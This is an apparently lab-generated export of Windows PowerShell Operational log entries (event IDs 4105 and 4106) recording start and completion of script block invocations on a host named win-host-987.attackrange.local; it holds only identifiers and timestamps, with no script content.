User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997365 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997364 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997363 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997362 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997361 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997360 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997359 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997358 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997357 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997356 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997355 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997354 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997353 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997352 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997351 Keywords=None Message=Completed invocation of ScriptBlock ID: 69f73096-14f6-4d18-85a9-133073bb5293 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997379 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997378 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997377 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997376 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997375 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997374 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997373 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997372 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997371 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997370 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997389 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997388 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997387 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997386 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997385 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997384 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997383 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997382 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997381 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:18:58 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997380 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997399 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997398 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997397 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997396 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997395 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997394 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997393 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997392 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997391 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997390 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997409 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997408 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997407 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997406 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997405 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997404 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997403 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997402 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997401 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1997400 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1997419 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:19:14 PM LogName=Microsoft-Windows-PowerShell/Operational 